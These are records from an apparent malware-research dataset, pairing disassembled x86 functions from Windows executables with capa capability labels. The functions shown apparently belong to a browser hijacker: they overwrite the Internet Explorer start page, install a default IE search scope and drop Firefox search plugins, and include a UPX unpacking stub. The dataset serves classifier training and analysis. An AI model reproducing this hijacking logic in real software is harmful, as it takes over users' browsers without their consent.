joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a7d3
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
push edi
push 9
mov esi, dword [ebp + 8]
mov dword [ebp - 8], eax
pop edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
lea eax, [ebp - 0x14]
push ebx
push eax
push 0x40a947
push ebx
push ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x40a938
push 0x4e20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x40a92f
cmp dword [ebp + 8], 0x103
jne 0x40a8aa
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xd
call sub.MSVCRT.dll_malloc
mov dword [esi], eax
mov byte [eax], 0x66
mov eax, dword [esi]
pop ecx
push 0xa
mov byte [eax + 1], 0x63
mov eax, dword [esi]
pop edi
mov byte [eax + 2], 0x74
mov eax, dword [esi]
mov byte [eax + 3], 0x5f
mov eax, dword [esi]
mov byte [eax + 4], 0x74
mov eax, dword [esi]
mov byte [eax + 5], 0x6f
mov eax, dword [esi]
mov byte [eax + 6], 0x6f
mov eax, dword [esi]
mov byte [eax + 7], 0x5f
mov eax, dword [esi]
mov byte [eax + 8], 0x6c
mov eax, dword [esi]
mov byte [eax + 9], 0x6f
mov eax, dword [esi]
mov byte [eax + 0xa], 0x6e
mov eax, dword [esi]
mov byte [eax + 0xb], 0x67
mov eax, dword [esi]
mov byte [eax + 0xc], bl
jmp 0x40a92f
cmp dword [esi], ebx
jne 0x40a92c
cmp dword [ebp + 8], ebx
jne 0x40a8d2
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call sub.MSVCRT.dll_malloc
pop ecx
mov dword [esi], eax
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40a92c
push 0xe
call sub.MSVCRT.dll_malloc
mov dword [esi], eax
mov byte [eax], 0x66
mov eax, dword [esi]
pop ecx
mov byte [eax + 1], 0x63
mov eax, dword [esi]
mov byte [eax + 2], 0x74
mov eax, dword [esi]
mov byte [eax + 3], 0x5f
mov eax, dword [esi]
mov byte [eax + 4], 0x6e
mov eax, dword [esi]
mov byte [eax + 5], 0x6f
mov eax, dword [esi]
mov byte [eax + 6], 0x74
mov eax, dword [esi]
mov byte [eax + 7], 0x5f
mov eax, dword [esi]
mov byte [eax + 8], 0x66
mov eax, dword [esi]
mov byte [eax + 9], 0x6f
mov eax, dword [esi]
mov byte [eax + 0xa], 0x75
mov eax, dword [esi]
mov byte [eax + 0xb], 0x6e
mov eax, dword [esi]
mov byte [eax + 0xc], 0x64
mov eax, dword [esi]
mov byte [eax + 0xd], bl
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40acfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4094
call fcn.0040ce40
and byte [ebp - 0x94], 0
push ebx
push esi
push edi
push 0x20
xor esi, esi
pop ecx
xor eax, eax
cmp dword [ebp + 8], esi
lea edi, [ebp - 0x93]
rep stosd dword es:[edi], eax
je 0x40ae7c
cmp dword [ebp + 0xc], esi
je 0x40ae7c
lea eax, [ebp - 0x4094]
push str.SOFTWAREMozillaMozilla_Firefox
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x4094]
push esi
mov ebx, 0x80000002
push eax
push ebx
call edi
test eax, eax
jne 0x40ae7c
push 0x81
lea eax, [ebp - 0x94]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x80
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.CurrentVersion
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10], esi
jne 0x40ae7c
cmp dword [ebp - 8], 1
je 0x40adca
cmp dword [ebp - 8], 2
jne 0x40ae7c
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40ae7c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x4094]
push 0x40f028
push eax
call esi
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x4094]
push eax
call esi
lea eax, [ebp - 0x4094]
push str.Main
push eax
call esi
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x4094]
push 0
push eax
push ebx
call edi
test eax, eax
jne 0x40ae7c
mov eax, dword [ebp + 0xc]
lea eax, [eax + eax - 2]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push dword [ebp + 8]
push eax
push 0
push 0x40fbd0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40ae7c
cmp dword [ebp - 8], 1
je 0x40ae6a
cmp dword [ebp - 8], 2
jne 0x40ae7c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x40ae7c
push 1
pop eax
jmp 0x40ae7e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ae83
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8024
call fcn.0040ce40
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
je 0x40b011
mov edi, dword [ebp + 0xc]
cmp edi, ebx
je 0x40b011
lea eax, [ebp - 0x24]
push esi
push eax
push str.InternetExplorer.Application
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
test eax, eax
jl 0x40afef
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jl 0x40afef
lea eax, [ebp - 0x8024]
push str.CLSID_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x8024]
push eax
call esi
lea eax, [ebp - 0x8024]
push str.LocalServer32
push eax
call esi
push dword [ebp - 8]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [ebp - 4]
mov dword [ebp - 8], ebx
push eax
push 0x20019
lea eax, [ebp - 0x8024]
push ebx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40afef
lea eax, [edi + edi]
push eax
call sub.MSVCRT.dll_malloc
mov esi, eax
lea eax, [edi + edi - 2]
mov dword [ebp - 0x14], eax
pop ecx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push esi
push eax
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40afe4
cmp dword [ebp - 0x10], 1
je 0x40af78
cmp dword [ebp - 0x10], 2
jne 0x40afe4
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call edi
test eax, eax
je 0x40afe4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], ebx
cmp word [esi], 0x22
push esi
jne 0x40afb5
call edi
cmp eax, ebx
jle 0x40af91
mov ecx, esi
mov edx, eax
mov bx, word [ecx + 2]
lea eax, [ecx + 2]
mov word [ecx], bx
dec edx
mov ecx, eax
jne 0x40afa2
xor ebx, ebx
jmp 0x40af91
call edi
cmp word [esi + eax*2 - 2], 0x22
jne 0x40afca
push esi
call edi
mov word [esi + eax*2 - 2], bx
push esi
jmp 0x40afb5
mov eax, dword [ebp + 0xc]
dec eax
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x40afe4
mov dword [ebp - 0xc], 1
cmp esi, ebx
je 0x40afef
push esi
call sub.MSVCRT.dll_free
pop ecx
cmp dword [ebp - 4], ebx
pop esi
je 0x40affe
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], ebx
je 0x40b00c
push dword [ebp - 8]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [ebp - 0xc]
jmp 0x40b013
xor eax, eax
pop edi
pop ebx
leave
ret
Function at 0x40b017
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b03e
xor eax, eax
leave
ret
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push str.Start_Page
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret

Function at 0x40b06b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b0e8
push esi
lea eax, [ebp - 8]
push edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
push ebx
mov edi, str.Local_AppData
push ebx
push edi
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call sub.MSVCRT.dll_malloc
pop ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea ecx, [ebp - 8]
push ecx
push eax
push ebx
push ebx
push edi
push dword [ebp - 4]
call esi
pop edi
pop esi
push dword [ebp - 4]
test eax, eax
jne 0x40b0dd
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
jmp 0x40b0ea
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 8]
mov dword [eax], ebx
xor eax, eax
pop ebx
leave
ret

Function at 0x40b131
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
mov dword [ebp - 4], esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40b178
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b178
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x40b1b1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
lea eax, [ebp - 0x108]
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes0F36E18A_6296_4333_9D99_269AAFE3D111_
push eax
call sub.MSVCRT.dll_strcpy
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 0x2001f
push ebx
push ebx
lea eax, [ebp - 0x108]
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40b306
lea eax, [ebp - 8]
push eax
call fcn.0040b06b
test eax, eax
pop ecx
je 0x40b306
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push dword [ebp + 0xc]
push 1
push ebx
push 0x40fdfc
push dword [ebp - 4]
call esi
push edi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push edi
push 1
push ebx
push str.DisplayName
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call sub.MSVCRT.dll_strlen
push edi
mov ebx, eax
call sub.MSVCRT.dll_strlen
add ebx, eax
mov dword [ebp + 0xc], ebx
mov ebx, str.MicrosoftInternet_ExplorerServices_search_0F36E18A_6296_4333_9D99_269AAFE3D111_
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp + 0xc]
lea eax, [ecx + eax + 5]
push eax
call sub.MSVCRT.dll_malloc
push dword [ebp - 8]
mov edi, eax
push edi
call sub.MSVCRT.dll_strcpy
push ebx
push edi
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
push edi
call sub.MSVCRT.dll_strcat
push str..ico
push edi
call sub.MSVCRT.dll_strcat
push edi
call sub.MSVCRT.dll_strlen
add esp, 0x34
push eax
push edi
push 1
push 0
push str.FaviconPath
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.0040b131
push dword [ebp - 8]
call sub.MSVCRT.dll_free
push edi
call sub.MSVCRT.dll_free
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b30a
xor eax, eax
jmp 0x40b357
lea eax, [ebp - 0x108]
push str.0F36E18A_6296_4333_9D99_269AAFE3D111_
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.DefaultScope
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call ebx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b64a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
push edi
push 0x10
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
pop ecx
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
cmp dword [ebp + 8], edi
je 0x40b6c5
mov esi, dword [ebp + 0xc]
cmp esi, edi
je 0x40b6c5
lea eax, [ebp + 0xc]
push eax
push 0x20019
lea eax, [ebp - 0x48]
push edi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b6c5
lea eax, [ebp - 4]
dec esi
push eax
mov dword [ebp - 4], esi
push dword [ebp + 8]
push edi
push edi
push str.AppData
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b6c5
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x40b6c5
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
jmp 0x40b6c7
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40b9c6
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov edi, 0x104
lea eax, [ebp - 0x30c]
push edi
push eax
call fcn.0040b64a
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcpy
mov esi, 0x40f028
lea eax, [ebp - 0x208]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push str.MozillaFirefoxprofiles.ini
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push eax
push str.Path
push str.Profile0
lea eax, [ebp - 0x410]
push edi
push eax
call fcn.0040b99b
add esp, 0x34
test eax, eax
je 0x40baa5
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x104]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push str.MozillaFirefox_
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.0040b35c
add esp, 0x30
test eax, eax
jne 0x40baa9
xor eax, eax
jmp 0x40bb06
lea eax, [ebp - 0x104]
push str.searchplugins_
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push str..xml
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.0040b6cb
add esp, 0x20
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x40c02d
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14f8
call fcn.0040ce40
push ebx
push esi
mov esi, 0x94
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0xa0]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
mov dword [ebp - 0xa0], esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
test eax, eax
je 0x40c22c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40c14c
cmp dword [ebp + 8], ebx
je 0x40c14c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40c14c
cmp dword [ebp - 0x9c], 6
jb 0x40c14c
mov ecx, 0x411
xor eax, eax
lea edi, [ebp - 0x14f6]
mov word [ebp - 0x14f8], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
call fcn.00407e73
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
mov edi, 0x40f418
lea eax, [ebp - 0x14f8]
push edi
push eax
call esi
push dword [ebp - 8]
lea eax, [ebp - 0x14f8]
push eax
call esi
lea eax, [ebp - 0x14f8]
push edi
push eax
call esi
cmp dword [ebp - 8], ebx
je 0x40c112
push dword [ebp - 8]
call sub.MSVCRT.dll_free
pop ecx
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00407e73
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14f8]
push eax
push dword [ebp - 4]
call fcn.00409395
add esp, 0x18
test eax, eax
jne 0x40c230
cmp dword [ebp - 4], ebx
je 0x40c14c
push dword [ebp - 4]
call sub.MSVCRT.dll_free
pop ecx
push dword [ebp + 0xc]
call fcn.0040b017
mov dword [ebp + 8], eax
mov edi, 0x104
lea eax, [ebp - 0x3ac]
push edi
push eax
call fcn.0040b64a
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x2a8]
push eax
call sub.MSVCRT.dll_strcpy
mov esi, 0x40f028
lea eax, [ebp - 0x2a8]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x2a8]
push str.MozillaFirefoxprofiles.ini
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x2a8]
push eax
push str.Path
push str.Profile0
lea eax, [ebp - 0x4b0]
push edi
push eax
call fcn.0040b99b
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x1a4]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x40
lea eax, [ebp - 0x1a4]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1a4]
push str.MozillaFirefox_
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x1a4]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1a4]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1a4]
push eax
push dword [ebp + 0xc]
call fcn.0040bb0a
add esp, 0x28
cmp dword [ebp + 8], ebx
jne 0x40c235
cmp eax, ebx
jne 0x40c23d
xor eax, eax
jmp 0x40c244
mov eax, dword [ebp - 0xc]
jmp 0x40c244
cmp eax, ebx
jne 0x40c241
push 1
jmp 0x40c243
push 2
jmp 0x40c243
push 3
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c249
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x43181c], esi
push edi
jne 0x40c283
mov ecx, 0x431818
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x40c25f
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x431c18
jl 0x40c25a
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40c2b8
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431818]
xor eax, esi
inc ecx
dec edx
jne 0x40c29b
pop edi
pop esi
not eax
ret 0xc

Function at 0x4162b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4162ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4162d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4162c0
mov eax, 1
add ebx, ebx
jne 0x4162e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4162d8
jne 0x4162f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4162d8
xor ecx, ecx
sub eax, 3
jb 0x416308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41637a
mov ebp, eax
add ebx, ebx
jne 0x416313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416344
inc ecx
add ebx, ebx
jne 0x416330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416325
jne 0x416341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416355
jmp 0x4162c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416364
add edi, ecx
jmp 0x4162c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4163c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0x4163bd
mov dword [ebx], eax
add ebx, 4
jmp 0x41639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4163f4
cmp al, 0xef
ja 0x4163e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4163c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4163d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416428
sub esp, 0xffffff80
jmp 0x405dd2
Function at 0x4a1489
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.004a1639
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4a1587
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4a152a
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x4a156d
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x4a1541
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4a155c
test al, 0x40
je 0x4a1553
mov ecx, dword [edi + 0x20]
jmp 0x4a155a
test al, 0x80
je 0x4a156d
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x4a156d
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x4a14f9
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret